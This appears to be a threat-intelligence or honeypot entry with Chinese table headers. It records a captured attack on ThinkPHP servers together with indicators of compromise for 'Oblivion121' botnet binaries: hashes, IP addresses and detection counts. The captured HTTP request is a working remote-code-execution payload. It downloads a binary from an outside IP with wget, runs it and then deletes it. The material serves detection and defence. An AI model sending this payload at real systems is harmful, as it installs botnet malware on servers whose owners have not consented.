GET /index.php?s=/index/ hink.pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://5.188.0.27/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Uirusu/2.0
bb63f52a8b7a2ba943b165a4ab83ac64 ./Oblivion121.arm
9bd515bea43184f017e833e44db0077e ./Oblivion121.arm5
eccc893bcfe599ed5b0a7077735f2d30 ./Oblivion121.arm6
4159b2bcd76f7f553d9302e2cceddd4b ./Oblivion121.arm7
498c11520b36e2c3be5873aec1bd57c1 ./Oblivion121.m68k
fe5f0d96a10823a6944864286b9cd7c3 ./Oblivion121.mips
57be571e261dfd611d35f70be49b2515 ./Oblivion121.mpsl
a40aaea4ca7aaa01ffb6e2f8a6cc8c1e ./Oblivion121.ppc
923b6b27b54dec138a92d8e60b2f45b6 ./Oblivion121.sh4
43bada8c194d0f2bb814010ecd3a703c ./Oblivion121.spc
80ab61b6f6106a0432fd3a734f098325 ./Oblivion121.x86
IP | 端口 | 域名 | 样本 | 标签 |
---|---|---|---|---|
5.188.0.27 | 0 | 1 | 0 | 2 |
20.51.245.114 | 0 | 0 | 0 | 0 |
Hash | 检测结果 | 样本 | 标签 |
---|---|---|---|
4159b2bcd76f7f553d9302e2cceddd4b | 8/25 | 0 | 0 |
43bada8c194d0f2bb814010ecd3a703c | 0/0 | 0 | 0 |
498c11520b36e2c3be5873aec1bd57c1 | 8/25 | 0 | 0 |
57be571e261dfd611d35f70be49b2515 | 8/25 | 0 | 0 |
80ab61b6f6106a0432fd3a734f098325 | 7/25 | 0 | 0 |